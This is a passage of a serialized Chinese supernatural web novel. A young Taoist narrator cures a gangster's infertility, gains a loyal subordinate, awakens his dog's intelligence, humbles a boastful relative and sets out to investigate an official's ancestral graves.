说实话,在张坤说出这番话之后,我是有些激动的。我能感觉到,我和张坤肯定是同类人,只不过我们选了两条不一样的路,所以有点惺惺相惜的触动。
但我们在本质上又完全不一样,他走的是邪路,这算不上什么不归路,而是他的道心不稳,杂念太重,已经不认长生道统了。
准确点说,他还在用着道法,但已经不是道家的人了。
我没有回他的话,而是淡淡地说道,“我去过阴间码头了,那是一片汪洋,时间逆流,根本没有过客。”
张坤突然攥紧拳头,朝着我怒吼,“不可能。”
我知道他为什么会激动,因为没有过客,就意味着他做了十年求子的事,根本就是一件不存在的事,这种打击只有当事人能明白。
我没说话。
张坤那双眼睛死死地盯着我,他的脸依旧狰狞,但那眼神中的情绪却很复杂。因为我的这一句话,已经击溃了他的道心。
他深吸一口气,头上的煞气越来越浓,我能看到里面有血水,这人已经成魔了。
半天,张坤才恶狠狠地盯着我说道,“哼,我知道,你应该就是陈红找来的救兵吧。你想骗我放过她,对不对?”
我摇头,“你应该见过摆渡人吧?你没去过阴间码头?”
张坤错愕,“你真去过?”
我点头,“去过,在哈城的一个食杂店。那女人点了一炷香,我就跟着进去了。黑漆漆地,一片汪洋,然后啥也没有。求子,你这法子不行。”
张坤动摇了,但表情阴狠道,“那你有办法吗?”
我看了张坤一眼,随后我突然觉得这件事很好解决,我说道,“倒是有一个办法。”
张坤眼前一亮,“什么办法?”
我说道,“我觉得你不生,是因为你身体问题,而并非邪魔术法能解决的事。”
张坤愣了愣,冒出来一句,“你的意思我不孕不育?”
说完,他的脸色极为难看,那样子非常的抗拒。
我说,“我应该可以治。”
我之所以冒出这样的想法,完全是我不相信求子这种事。在我这,人道是人道,人是人,天道是天道,根本不相干。
至于生不出孩子,那应该就是体质上的问题,上天赐子这种事,实在有点扯了。
有人会说风水积德真能求子,这个到后来我有验证过,这玩意跟愿力差不多,因为前人改变风水,后人得到了类似于愿力的气息,体质发生了改变,所以有了子嗣。
但说到底,还是体质的问题。
本来凶狠的张坤,眼神一下子都清澈了,“道友,真能?”
……
第六十三章陈红措意了
果然,男人都一个样,你可以说他没钱,也可以说他没能力,但是在生育这一块不能提,提就急眼。
但当你说能治的时候,他的眼睛是清澈的,是友好的,是相信的。
到了张坤这种地位的人,一点也不会觉得尴尬,他死死地盯着我,等我给一个肯定的答案。
我也不是傻子,直接提出了条件,“可以试试,要是治好了的话,放过陈红,从今往后我们毫不相干。”
说实话,我还是年轻,说这种话有些幼稚了。当我跟陈红来到这豪情大洗浴见到张坤,后面就注定了因果。
当然,这些都是后话,先说眼前的吧。
张坤眯了眯眼睛,没有直接答应,而是先威胁道,“治好了,当然皆大欢喜。治不好,她得死。”
我没说话,也没去看陈红,眼下我跟张坤能交流上,这是因为我真的有本事。陈红嘛,她没得选。
我掏出了玉佩,张坤看到后露出一丝贪婪之色,但很快又收敛了,我也没在意,运转一股道力,那淡绿色气息没入张坤体内。
轰。
但随后,我却有着一股异样的感觉,我竟然能跟这玉佩交流了。当然,这种交流可不是什么说话,而是我能感知到那股气息在如何治愈张坤。
我看到张坤的体内竟然被一只黑红色的蜈蚣盘着,他在吸着精气睡觉。
这是南疆的蛊?
有关蛊的事,我还是在书上看到过,南疆有蛊,五毒为尊,女子善养。女子破身,蛊入男身,终身纠缠。倘若男子背叛,不得好死。
还真有这玩意?
随着那淡绿色的气息没入,那蜈蚣惊醒乱窜,但最终还是被绿光吞没。
等我从那种状态回过神以后,我知道张坤应该是没事了。
“好了?”张坤疑惑地看着我。
“嗯。但我有个疑问,道友去过南疆?见过南疆女人嘛?”我问。
“没去过南疆,也不认识南疆女人,这跟我的问题有关系吗?”他疑惑。
“或许有吧。我还有一个问题,这人皮蜡烛点冥灯的邪术,也不是北方的邪术吧?”
“不是,是我在一个南方修道者那求来的。那个人已经死了很多年了。”张坤想了想又说道,“虽说是南方的修道者,但也算是咱们黑城的人。他来这十年,我给他安排到了印刷厂当工人。五年前病逝了。这人很厉害,修的是八卦阵法,可惜了。”
听到印刷厂,我汗毛突然立起来了。那不就是我爹工作的地方吗?随后我想起了墙上的两幅画,我终于明白为啥会出现在王远家了。
有些事细思极恐。
“那我们就不打扰了。”我说。
我也没有刻意的再去多说些什么,跟这种狠人打交道最好不要啰嗦,等事办成了,问题自然迎刃而解。
张坤也没拦着我跟陈红,任凭我们离开,从始至终没再有一句话。
在门关上的那刹那,我朝着他看了过去。
他西装笔挺,面无表情,带着那充满死亡味道的眼神也在看着我。
而在这个男人的身后,突然多了一道血影,那东西三头六臂,呲着獠牙,那是,传说中的罗汉。
但怎么看,怎么像是魔鬼。
从洗浴中心出来的时候天天已经有些暗了,我俩沿着路边走到了江边,陈红突然软在了地上,她看着我目光尊敬,“冯大师,大恩不言谢。我还以为你们会动手呢,在里面真的是太煎熬了。”
我没去扶她,望向了江对面,那边就是毛熊国。眼下已经开春了,江河上的冰要化了,我们这边已经有回暖的迹象,但对面却是一片雪白,依旧在寒冬的季节里。
我说,“哪有那么容易打起来,他是张坤,不是你手底下的那些亡命徒。这人给我的感觉很危险,我要是猜得没错的话,他修炼了邪功,层次不低。我们相互试探,暂时我稍微占了一点的上风。”
我说的这些都是实话,在这种摸不准的情况下,我跟他都做了让步,那就是坐下来谈。
这有点高手之间相互给面子的意思,都别动手。
陈红咬了咬嘴唇,她有些担忧道,“大师,那怎么办,他还会找我麻烦吗?”
我想了想说道,“会,不只是找你麻烦,也会找我麻烦。但暂时他应该不敢轻举妄动,你照常生活,起码这三个月之内,不会有任何事发生。”
听了我的话,陈红深吸一口气,悬着的心似乎放下来了。她保证道,“大师,您放心,我有了文献,第一时间给您送来。”
我点了点头,沿着岸边打算往回走,两步之后,我眯上眼睛下定了某种决心道,“你愿不愿意跟我做事。”
我这句话并不是心血来潮,而是这段时间我都有着这种想法。我需要知道的事情太多,但更多的时候都是我自己在处理,这些事很麻烦,所以我需要帮手,需要培养一些人给我做事。
在这期间我观摩了老狗和大黄牙,大黄牙这人心眼太多,虽然能用,但油嘴滑舌,办不了大事。
老狗嘛,人性贪婪,这对我而言是个好事,只要拿钱就能解决。本事有,稳重,人脉广泛,消息灵通。这也是优点。但这人有点分不清大小王,还有就是人微言轻,不够资格。
倒是陈红的出现,让我又有了新的选择。
“我,我愿意。”陈红突然跪在了我面前。
我深吸一口气,真是个聪明到极致的女人,一点就透。
“那你是不是要表示一下?”我转头看向她说道。
我的意思是让她表个忠心。
陈红措意了,“我知道该怎么做。”
说完,我愣了愣,我还纳闷呢,随便说两句表达一下就行吗?她这是要带我去哪?
结果陈红直接带我去了黑城的国际大酒店开了房,我还懵着呢,她已经洗好澡来到了我面前,一把推倒我,然后非常生涩的解开的我腰带。
我心里很清楚,陈红误会了。
我们俩差了十岁,但这女人确实嫩,加上那股子纯天然的骚劲,我深吸了一口气,后仰在了床上。
修道有一段时间了,我也才发现自己的阳气太足了,确实应该补一些阴气。阴阳调和,才是修行大道。
我突然抓住了被单,在不知不觉中,道力延伸到了百骸,我猛地睁开眼睛,这段时间以来近乎纹丝不动的筑基期,竟然突破了一小段。
……
第六十四章狗通人性
我把陈红睡了。
但在第二天早上却在床上看到了落红,说实话我已经不是第一次行这种事,所以知道怎么回事。我很惊讶,这女人竟然是处子之身。
“表现得不错,我很满意。”我留了一句话,然后就离开了国际酒店回家了。
在接下来的两个多月里,我跟陈红时不时的就去酒店走一遭,而我的道力也在突飞猛进。
对此我有了顿悟,修道之人阳气太重这不是一件好事,久而久之身体会出问题的。所谓纯阳之体,我个人认为是一种病态,要不然这个世界怎么会有男人跟女人,一阴一阳?
当然,这都是现在的一些想法。还有就是我想起了老和尚的那茶,他应该就是看出了我阴阳失衡,所以帮我调理了。
至于那老和尚是什么人?我没有一个准确的认知。他真的像是不存在一样。
再说说陈红,原本这女人只是有点骚,但跟我做了那种事之后,她竟然变得年轻了。甚至有些逆生长,像是二十二三岁的年纪。
虽然这女人很漂亮,对我也很忠诚,但我并没有任何的感觉,在我眼里她只是我的手下,我们之间有利益关系罢了。
正如我想的那样,张坤确实是身体的问题,他的几个女人都怀孕了,他还因此派人来找我想喝一杯,但被我拒绝了。
跟这种人打交道很麻烦,这个面子我不能给,给了他会压我一头。拒绝了,是在告诉他不想有瓜葛。
张坤道上混的,自然也知道我的意思,接下来的一段时间,也没再找我。但我心里很清楚,这个因已经结了,早晚要有一个结果。
陈红又做起了老本行,她去倒斗了,说回来保证给我弄到文献资料。
七月中旬的黑城,夏季已经过去一大半了。在一个月前,我爹不知道从哪弄了个断奶的土狗,转眼已经半大了。
土狗是黄的,大骨棒,是那种看家护院的。闲来无事,我总逗它,时不时地还拿它做实验,一通道法用在它身上。
结果就是,我把土狗弄变异了。起初吧,我也没太在意,和往常一样坐在院子里看书,没事逗它。但今天我练习道术,让它翻跟头,它在那盯着我却没动弹。
我奇了怪了,往常的时候它可欢实了,叫它做啥很兴奋,现在却跟个人似的打量我。
“欢欢,你咋了?”我奇怪地问了一句。其实跟大多数人一样,我是在自言自语,以为这狗病了,上去摸了摸它脑袋。
谁知道欢欢瞪着大眼睛朝我摇头。
我愣住了,“欢欢,你能听懂我说话?”
欢欢眼珠子转了转,但最后还是承认地点了点头。
卧槽。
我惊得坐了起来,围着欢欢转了两圈。狗这玩应有灵性我知道,但我也很清楚,大部分的狗也就相当于人类小孩的智商。
但即使这样,也不代表它们能听懂人类的语言,而是要经过专业的培养,听懂的是人类的指示,肢体动作等等。
哪怕是公认聪明的杜宾犬,它只是自身很聪明,也需要专业的训练,才能达到某种程度。
再说我家欢欢,它就是最常见的那种看家护院的土狗,结果我在一个狗的脸上看到了惟妙惟肖的表情?我能不诧异嘛。
还有就是它居然犹豫了一下才回应我,这说明它在思考。
我又坐回了椅子上,像是在跟自己说,也像是在跟欢欢说,“我明白了,这应该就是开灵吧。”
这段时间以来,方士的记忆又被我梳理了一些,其中就有一个给动物开灵的术法。
把道力缠绕在中指和食指指尖上,念动开灵咒语,点在动物的额头上。
能给动物开启灵智。
这样它就有了跟人类一样的思维。
本来我就是随便耍一耍的,结果没想到真有用。
随后,我看向欢欢,它也在看着我,说实话,这个对视我觉得很滑稽。要是被人看到本方士跟狗交谈,估计要被关进去八年。
我说,“欢欢,智慧是什么东西,你知道吧?”
欢欢点头。
我虽然觉得不可思议,但还是耐着性子说道,“那好,你除了有了智慧,还有什么跟其他狗不一样的变化吗?”
欢欢思考了,它突然往后退了一步,然后突然腾空而起,两只前脚猛地往地上转头上一扎。
那转头直接裂开了。
我惊讶,这是狗能做到的嘛?
我忍不住问道,“还有吗?”
欢欢想了想,突然‘汪汪汪’了起来,随后竟然有一丝道力。
它这是在学我的‘道’字真言,而且还有了一定的效果。虽然效果不大,却真有!
我又问:“还有吗?”
这次欢欢摇了摇头。
我深吸一口气,坐在椅子上平复了很久,欢欢的表现已经不是超出我的预料了,而是令我感到震惊。
我突然想起了长白山上的六尾狐,欢欢竟然有那玩意的影子,我甚至在想,欢欢能达到那个地步吗?
有些事情经历多了,惊讶归惊讶,但很快就能把心情平复下来。
我对欢欢说道,“你的这些本事,千万不要暴露出去,这不是一件正常的事,你会死的,知道了吗?”
说实话,虽然我已经尽力的去克制情绪了,可是在欢欢身上看到浑身一紧的时候,我还是觉得有些恍惚。
但我真的不是在吓唬欢欢,连我都要伪装成看事的,更别说它一条狗了。
接着我脑子里又冒出来一个想法,我忍不住问欢欢,“欢欢,你会说人话吗?”
欢欢摇了摇头,我这才放下了心。
“老幺,一会你二姨二姨夫要来咱家,我出去买点菜,要是他们提前来了帮我招待啊。我跟你二姨,都快十年没见了。听说你二姨夫最近在那边发财了,所以回来看看。”我娘交代。
“嗯,知道了。”我点了点头,我也感觉到了,最近自己变化很大,倒是没那么冷漠了。
当然我心里清楚,这事也分人,这是我娘,我肯定要尊重。
我娘这边刚走,我还想着跟欢欢说点啥,我二姨他们一家三口就进来了。
还没等我说话呢,我那二姨夫就弄着他那手表,挺着个胸对我家院子指指点点,“哎哟,哈尼,不是我说哈,这都十几年了,大姐夫家怎么还住这种老破院啊,吱吱吱,没有上进心。”
……
第六十五章高调的二姨夫
看着二姨夫的那副嘴脸,我倒是心静如水,说实话,这种人我见多了,见怪不怪。
要不是我娘让我招待,我都懒着理会。我走上前招呼,“二姨,二姨夫,这是小妹吧?”
虽然不怎么跟二姨一家来往,但我对二姨的印象还行,而二姨家的姑娘,我娘也总是挂在嘴边,说是今年考上了大学呢。
十年没见,他们当然不认识我,我二姨试探地问我,“你是老几?老二?”
我摇头,“二姨,我是老幺冯宁。”
闻言他们一家子都愣住了,我这小妹更是惊讶道,“你就是我爹常说的那个冯傻子啊?你也不傻啊。”
我笑了笑,没说话,让他们先进屋,说等会我爹我娘他们就回来。随后,我还给他们沏了一壶红茶。
这茶叶是陈红给我的,说是武夷山的金骏眉,她还特意嘱咐我这茶市面上买不到,那是几个大佬为了讨好她能合作送的,让我自己享受。
我当时还问她多少钱一斤?她估算了下,说最少也要五百块。
但既然是二姨,二姨夫来了,我就拿出来招待了。然后拿了本书,安静地坐在了椅子上。
没一会,欢欢摇着尾巴趴在了我脚下。
“哎呀,这土狗怎么跑屋里来了?有没有打药?身上有病毒吧?”我二姨夫捏着鼻子。
“爸,这是土狗,不值钱。不像咱们家那泰迪,那是纯正的洋狗,金贵着呢,所以要驱虫打药。”二姨家小妹没瞧得起我家欢欢。
我有些无语,从进屋到现在,除了我二姨,这父女俩连个狗都要拿出来比一比?真是让人觉得不爽。
再看欢欢,它往那一趴,连动都懒得动一下。我甚至都怀疑这欢欢真能听懂人话吗?人家都骂你不如泰迪了?你咋没动静呢。
等等,泰迪是啥狗啊?可能真的很金贵吧!
我这样想着,我娘回来了,接着我爹也回来了。见到我二姨,他们也是格外的热情,说是要做一顿大餐。
茶沏好了,我爹走到我跟前说,“老幺啊,你王远叔说一会要过来,好像还带了个人,说是特意来找你的。”
我奇怪,王远找我干嘛?但想了想,也没太在意,人来了就知道了。
我爹刚跟我说完话,我二姨夫拿起我沏的茶,喝都没喝,却突然跟我爹说道,“我说老冯啊,你家这红茶不太行啊?杂牌子吧?”
我爹走了过去,看了看我,又看了看那一壶茶说道,“应该不是吧,老幺,这茶是你带回来的吧?”
我点了点头,“嗯,有人送的,南方的茶,金骏眉。”我说道。
我二姨夫怔了怔,“你说这是金骏眉?”
我随口说道,“应该是吧。”
我二姨夫撇嘴,把身子歪着坐,翘起二郎腿,“老冯啊,咱们好歹也是连桥,知根知底的。都说你们老冯家是老实人,但今天我一看啊,你们可真不老实。金骏眉,那是南方的茗茶,一斤两三百呢。别说你们了,我都喝不起。你放心吧,啥茶就是啥茶,我虽然现在是有钱人,但也绝不会看你们笑话的。”
我爹有点尴尬地坐在那,他最近虽然变化不小,但跟我二姨夫这种人,还是不太善言谈。
两三百?那还真不是。我说道,“二姨夫,那应该不是你说的那个金骏眉。”
听我这样说,我二姨夫喜笑颜开了,看上去很满意我的话,他说,“你们这种低价茶我喝不惯。”
说完他拿出了个保温杯,里面泡的也都是红茶,“我这功夫红茶,三十七一斤,老冯啊,我听说你一个月才二百多,没喝过吧。”
我爹尬住了,但碍于对方是连桥的身份,连忙捧着说,“没喝过,确实贵了。”
二姨夫咋咋呼呼的,我看我爹在那很难受,我说去趟厕所,我爹也跟了出来。就连我家欢欢都有些受不了了,我忍不住问了欢欢一句,你能听懂他吹牛逼?
欢欢点头,然后做了个捂耳朵的动作。我爹惊了,看欢欢的眼神有些变化,又看了看我,倒是见怪不怪了。
上完厕所,我爹在厕所门口点了一支烟,一直在那唉声叹气的。
我问,“爹,你这是咋了?”
我爹撇嘴,“你二姨夫呗,去帝都待了几年,在这闹洋事。”
我说,“确实。”
我爹,“哎,闹吧,好不容易回来了一次,你娘也想你二姨了,面子是得过去。”
抽完烟,我爹就先回去了。
其实我爹不知道,我心静如水,没有半点波澜。因为在我眼里二姨夫变啥样跟我都没关系。
我在院子里看书,算是图个清净,但我这二姨夫就喜欢炫耀。我爹说我爱看书,他就有些不乐意了,出来跟我说她家女儿考上大学的事,非要来考考我。
我皱了皱眉头,这让我觉得有些冒犯。怎么说呢,感觉自己像是个猴子被耍似的。
我爹给我使眼色,我知道他不想我发脾气,我这才说道,“二姨夫,我就是随便看看,没学问的。”
听了我的话,二姨夫这才满意道,“我就说嘛,你们老冯家哪有读书的料,你爹居然还吹,说你看书能看入迷,那就不可能的事。另外,小冯宁啊,不是二姨夫说你,你不小了,都快二十的人了,不能在吃家里住家里了,你得找个活干。你跟我家你妹妹不一样,你妹妹学习好,在哈城连安区长都亲自接见过,未来一片光明。”
我算是听明白了,他在这说来说去,到头来是拔高他女儿呢。
随后我觉得这人有些熟悉,我问,“安国强?”
我二姨夫笑着说道,“哎呦,你还知道安区长的大名呢。”
我说,“二姨夫,我认识他。”
我二姨夫撇了撇嘴,“小冯宁,说你胖你还喘上了,我女儿那么优秀,也是好不容易见到一次。你一个乡村野小子,上哪认识去?小孩子,别说大话。”
我爹却随口说了一句,“我家老幺从来不撒谎,他说认识,肯定就认识。”
我二姨夫撇嘴,“真没劲,吃饭吧。”
这边刚说完,突然有人推门走了进来,来的人是王远,后面跟着的就是安国强夫妇,以及他们的女儿。
他们拎着礼物,见到我就笑脸相迎,安国强主动招呼道,“冯大师,我们又见面了。”
结果我二姨夫这边,像是着了魔一样,在那一脸激动道,“你是,你是……”
……
第六十六章二姨夫被打脸
被二姨夫打扰,安国强脸上浮现出一丝不悦之色,他整理了下衣领,看了看我,这才要介绍自己,“你好,我……”
结果我二姨夫一把扒拉开他,一把拉住王远的手激动道,“你是印刷厂的王主任!”
二姨夫的这一番举动,弄得安国强很不自在,而更不自在的人是王远。他抢了安国强的风头,尴尬地处在那。
但在看我一眼后,还是点头道,“你是?”
我二姨夫立马介绍自己,“江春武,王主任,你忘了,我早年在百货商场给您修过表。我知道了,你肯定是装的,你是不是知道我在帝都发了财,知道我今天回来,所以特意来看我的。那就里面请吧!”
我摇了摇头,看了我爹一眼,我爹本就是老实人,见不惯这些虚头巴脑的事,站在那有些尴尬。
在看安国强,虽然脸色不太好,但从始至终都在冲我笑着。看来,上一次的事,对他冲击不小。
要知道这人可不好说话的,能一直这副态度,已经很给面子了。
“我娘他们做了饭菜,要是不嫌弃,尝尝口味。”伸手不打笑脸人,我倒是很真诚的说道。
“冯大师,瞧你这话说的,我怎能嫌弃呢。多少年了,就想吃一口地道的家里菜,我还觉得来得唐突,怕打扰到您呢。”安国强客气道。
把安国强一家子邀请了进去,我那二姨夫跟王远喋喋不休的,一边吹嘘在帝都怎样怎样的,一边跟王远套近乎,弄得王远尴尬。
我们这一进来,二姨夫突然指着安国强对王远说道,“对了,这是你手下啊?看着有点面生啊?”
王远差点没惊的站起来,但见我和安国强反应都不大,这才在那坐立不安的不知道怎么回答。
二姨夫朝我说道,“不是王主任的朋友啊,小冯宁,是你朋友吗?哪方面的?用不用我帮忙。”
说完二姨夫翘着二郎腿,撇这个大嘴,那样子好像他是天王老子,放荡不羁。
因为沙发被二姨夫拉着王远给占了,安国强一家三口只能拉椅子找地方坐。
听了二姨夫的话,他倒是没有刚才那种不悦的情绪,而是看着我,似乎有话要说。
我心里有数,无事不登三宝殿。但我眼下有些纳闷地问我二姨夫,“二姨夫,你不是认识安国强吗?”
一听这话,安国强本人都愣住了,朝着我二姨夫看了过去。
我二姨夫撇嘴,“当然认识了?当初你妹妹成绩优秀,特意见得我。在哈城那块,我们现在跟亲兄弟似的。怎么?你想让安国强帮你?我一句话的事。”
我疑惑道,“二姨夫,既然你认识安国强,那他本人坐在这?你怎么认不出来?”
我二姨夫愣住了,“什么安国强?哪呢?你小子不会说他就是安国强吧?”
“安叔叔?您怎么来了。”二姨夫话音刚落,她女儿从厨房那边走了过来,见到安国强,比见我二姨夫还亲。
“你是江翠?”安国强记性很好,认出了我二姨夫的女儿。
“是我安叔叔。”江翠点了点头,倒是一脸纯真,根本不知道发生了什么。
我二姨夫扑棱一下,站了两次才站了起来,脸上的笑容僵持,“您,您是安国强,啊不,您真是安区长……”
看着我二姨夫那卑微的嘴脸,安国强点了点头,却没有跟他说话的意思。
我这边顺便倒了茶水递了过去,安国强赶忙接过喝了一口,“好茶,供版的武夷山金骏眉,有市无价。冯……冯兄弟确实厉害,这可不是谁都能喝得到的。”
我二姨夫在那咽了口吐沫,下意识地把自己的茶水放在身后,那样子像是馋得不行了。
二姨夫的举动我都看在眼里,我不知道该怎么形容他,按照我们这的说法是,去了两天城里啥也没学会学会嘚瑟了。
但二姨夫这已经不是嘚瑟了,是太嘚瑟了。这下子碰到真正牛逼的人,啥都暴露了。
何必呢?
家里又来了人,我爹去仓库弄了个大木桌子,大家围坐在一起,场面跟摆宴席似的。
很快,这顿饭就吃完了,二姨夫想跟安国强献媚,却被无视了,而是问我能不能单独谈谈。
来者是客,我就答应了。吹着江风,沿着岸边往城外走。
看着对岸就是毛熊国的地界,安国强说道,“冯大师,首先,谢谢你救了我女儿。要是没有你,她这辈子恐怕都毁了。”
我摇头道,“安区长,我收钱办事,不用谢。”
我这话的意思很明显,我们是交易,并不是什么熟人。
安国强脸上挤出了一丝笑容,“冯大师,我倒是很喜欢你这种直来直去的人,不用拐弯,我也不会觉得那么累。”
说完,安国强停下了脚步,他深吸一口气,用一种非常认真的态度说道,“冯大师,不瞒您,我家风水出了问题。家族那边找人查过了,但给我的说法是,束手无策。”
我想了想,“以你的气运而言,诸邪避让,家庭美满,子女长寿,确实不应该出现那种情况。”
随着实力的提升,最近除了一些术法之外,在那方士的记忆里,对风水和相术上也有了显著的了解。
按照说法来讲,一般位高权重之人,自身就是气运加身,也被叫做气运之子。
这是承天道之人,天生主角命,不会被邪祟侵扰。除非,有人在破坏这一切。
而王远是个例子。
至于安国强嘛,我不知道发生了什么事,无法下结论。
安国强朝我鞠躬,“大师所言极是。所以,我想请大师去我安家祖坟走一趟。只要大师愿意前往,我安国强感激不尽。”
我笑了笑说道,“好,不过,你要帮我办一件事。”
安国强惊喜地抬头看向我,“大师您说。”
随后我把张坤的事说了出来,安国强怒道,“竟然有这种阴狠毒辣的人。冯大师您放心,就算您不说,这种人我也会把他绳之以法的。”
我之所以痛快地答应安国强,那是因为这件事我非常感兴趣,我想弄清楚,一个天运之子怎会被厄运侵蚀?害得女儿被鸠占躯体?
难道真的跟风水有关系?
而等我到了安家祖宅,我真的见识到了什么叫做穷山恶水出刁民,因为在这地方,律法行不通。
……
第六十七章出发北大荒
先说安国强吧,见我答应了这事,他明显松了口气。
之后回到我家,他也没待多久,把礼物放下,又跟我聊了两句,跟着他跟妻子就走了。
但他们的女儿安嘉留了下来,按照他说的,女儿要回去拜拜祖宗。而安国强也有后手,两人走了没多久,一个保镖就来了。
“大侄子,这个你收好。”王远没跟安国强夫妇一起离开,等他要走的时候,突然给我塞了个包,我打开看了一眼,应该有十万。
我看向王远没做声,王远笑着说道,“大侄子,安哥说了,事归事,钱归钱,不能让你白跑一趟。这点是订金,等事情办妥了,还有两个这么多。”
我心领神会,有些事那位不能说,也不能办,而王远这个中间人就恰到好处了。
说实话,起初因为王远差点害死我爹这事,我对他很有意见。但现在看来,这人在人情世故上绝对是高手,他能高调,还真不是运气,而是一种本事。
我也不废话,直接收了钱。
王远又嘱咐我,“大侄子,安哥安排保镖这事你也别多心。安小姐金贵,身边需要有人。另外,那边的事我也知道一点,不太好弄,有安小姐跟这保镖跟你去,能方便不少。”
王远确实情商高,说的话滴水不漏。能把不信任我说得冠冕堂皇的,恐怕还真没有几个人。
当然,他这话也是真的,要是那么容易摆平,谁会花三十万?还让女儿跟过去?有这钱去享受一下不好吗?
所以我心里有数,这件事没那么简单的。
“那个……”见王远要走,我二姨夫又要搭话,但王远没给那个机会,直接无视他就走了。
我也没在理会我二姨夫,有我娘我爹他们招待呢?我没必要浪费时间。
安嘉在我那屋住了一宿,保镖则是跟我睡的大厅,至于我二姨夫一家子,在原来我二哥那屋住下了。
第二天一早,我给陆小旺打了电话,我承诺给她五万块,她屁颠屁颠地就答应跟我走了一趟。
于是,我跟我爹我娘打了个招呼,带着安嘉跟保镖又回到了哈城。等接到了陆小旺,直奔北大荒。
因为路途遥远,所以订的卧铺,而这会大家都没什么钱,卧铺订的人少,倒是很容易买到了四张。
听我把事情说了一遍,陆小旺盯着人家安嘉,趴在我耳边说,“你说她是安区长的女儿?长得好漂亮啊。道长,你这要是娶回家,事业爱情双丰收啊。”
见陆小旺没有正行,我有点无语,“说重点,要不然钱还我。”
陆小旺急忙摆手,“别啊,你是不知道,自从那戴老板出了事,都没人找我干活了。好在这段时间结婚死人都不少,要不然我就饿死了。”
我朝着陆小旺翻了翻白眼。
陆小旺急忙咳嗽了两声,“咳咳,说正事。以安小姐家的情况来讲,贵族香火旺盛,国运在身,确实不应该出现这种问题。除非,有两种可能,一种是祖宅的风水被人动了,另一种……被仙家盯上了。”
我疑惑,“被仙家盯上?陆老爷爷的笔记也没提过啊?”
这次轮到陆小旺朝我翻白眼了,“我说冯大师,你以为我爷爷的笔记啥都有吗?我的本事,那都是实践出来的。”
好吧,我承认,被她装到了。
见我没说话,陆小旺很得意,但很快又认真道,“得仕者,一般先人都葬在了白虎穴。在风水学上来讲,先人葬白虎穴,见山得势,依山傍水,权贵通达。也有伴龙之意。这也是古时候那些达官贵人,把墓穴选在龙脉左右的原因。但此等穴位也容易破坏,只需要挖了墓穴,贵气自然而然就散了。”
我说道,“人为就可以做到?”
陆小旺点头,“对,但这需要风水师找对位置。还要有一定的顺序,若是错了,那是要遭天谴的。轻则厄运缠身,重的断子绝孙,死不瞑目。这是天道的气运,不是谁都能承受的。”
我说,“那被仙家盯上是怎么回事?”
陆小旺接着说道,“不管是龙脉,还是伴龙左右的贵族穴,那都是洞天福地。仙家跟人一样,有贪婪的,自然就会动了歪心思。这种事倒是很常见的。”
我想到了什么又问,“龙脉,龙运,那是天道仙运吧。仙家,也就是大仙,应该是妖邪,按理来说这种洞天福地,应该享受不了吧?”
我之所以这样问,是因为我想到了山尸。那东西居然就住在龙脉之中。
而方士的记忆里,妖邪之生灵不得靠近龙脉。但听了陆小旺的这些话,以及那山尸的事,似乎颠倒了这种概念。
陆小旺笑了笑,那样子很甜美,但她却摇了摇头,“你说的没错,按道理来讲,确实应该如此。但如此天道运气,你觉得换做是你?会不会想办法夺走?你要知道,我们本来就是在做一些违背常理的事,你说常理?那就意味着我们看到的一切都不该存在才对。”
被陆小旺这么一说,我有种醍醐灌顶的感受,她说得没错,我们本来就是在违背常理,不能用一种正常的思维去审视发生的事。
人类早年对付野兽,发明了许许多多的武器,这就是办法。仙家人家想鸠占鹊巢,肯定也会想办法。
我点头,“那它们是怎么做到的?”
陆小旺一摊手,“那我就不知道了,每个仙家都有自己的手段。眼见为实。”
又是这四个字,我浑身跟触电了一样。我忍不住打量陆小旺,我有些奇怪,她为什么会说这四个字,跟老和尚一样的四个字呢?难道是巧合吗?
但看了半天,却没在她身上看到什么,我想,应该就是巧合吧。
陆小旺见我盯着她,她突然又说道,“虽然我不知道怎么做到的,但鸠占墓穴这种事,一般都是蟒仙干的。我们到那,倒是可以先从这方面下手。”
我发现自己做了个很对的决定,那就是带着陆小旺,她的道法肯定不如我,但见识和经验,那不是我能比的。
所以,我突然想收了陆小旺为我做事。但我心里很清楚,这姑娘不是轻易能摆平的,需要观望。
……
第六十八章大蛇!
收服陆小旺的事暂且先放一边,这一路上二十几个小时的火车,坐到最后大家都有些疲乏。
好不容易挨到地方,接着又是接近七八个小时的客车,然后又走了两个多小时的山路,等到了地方天都已经黑了。
我,陆小旺,还有那保镖还好,但安嘉就没那么幸运了,到他家祖屋的时候,姑娘已经一瘸一拐了。
该说不说,这姑娘还挺坚强的,被蚊虫叮咬,脚崴了,细皮嫩肉的,但从始至终都没说一个苦字。
保镖拿出钥匙开了大门,天已经有些黑了,但还是能看清楚周围环境的,结果这院子里非常干净,连一根草都没有,这跟陆小旺爷爷家的情况可是一点都不一样。
再往里面走,透过门能看到烛光,推门走了进去,一眼就看到了大厅里的灵位。从上到下,像是金字塔那种牌位,总共十来个人。
而在牌位下方两侧,蜡烛在燃烧,中间有着香炉,一根香刚烧没多久。
陆小旺惊讶,“这是有人刚来过?”
安嘉摇了摇头,她看上去真的什么都不知道,倒是一旁的保镖说道,“两位,这边有专人帮忙打扫院子,烧香供奉的。”
对此我并不感到意外,我点了点头说道,“祖坟在哪?”
保镖说道,“往北走,离这大约一公里,您是要去吗?”
我点了点头,“嗯,我想去看看。”
咱们毕竟来这办事的,何况我也不太累,想着先去看看怎么回事。
保镖有些为难,他看了看安嘉,又看了看我。我知道他什么意思,我说道,“我看你来的时候有地图,地图上有标注吧。你照顾安小姐吧,我跟陆小旺去看看。”
陆小旺朝我翻了个白眼,但她也没拒绝,谁让她拿钱了呢。我俩拿着地图,直接去了祖坟那边。
等我们到了地方,看到那立了一大堆的坟,有新的,有旧的,少说二十来个。
我跟陆小旺对视一眼,她忍不住说道,“这是不是有些夸张了吧?一个穴,二十来个坟?”
我没说话,但也觉得陆小旺说得在理。在东北这地方坟地随处可见,但下葬立碑却很规矩。
早些年谁家死了人,把人都埋在自家地头,那会弄个木头写个名字就算安葬了。坟头这个名字就是这么来的。
还有就是家里有先人葬在山里面,后人谁没了,也跟着葬进去,久而久之就成了一个家族的墓地。
这种的话很整齐。
但眼前,放眼望过去,二十几个坟包,看上去很潦草。就好像是随意挖个坑把人埋了,除了乱坟岗,还没见过这样乱的坟地。
陆小旺胆子很大,她率先摸了进去,在各个坟墓那边转来转去,应该是在查着什么。
至于我,本来也想跟她一样摸进去查看,但我一抬头,突然就愣住了。
顺着我这个位置朝着前方看去,那里是连绵叠嶂的群山,夜色之下,隐隐约约能看到一条龙的身影。
但不知道为啥,我又觉得那不像龙,但也说不出来是啥,非常的庞大。
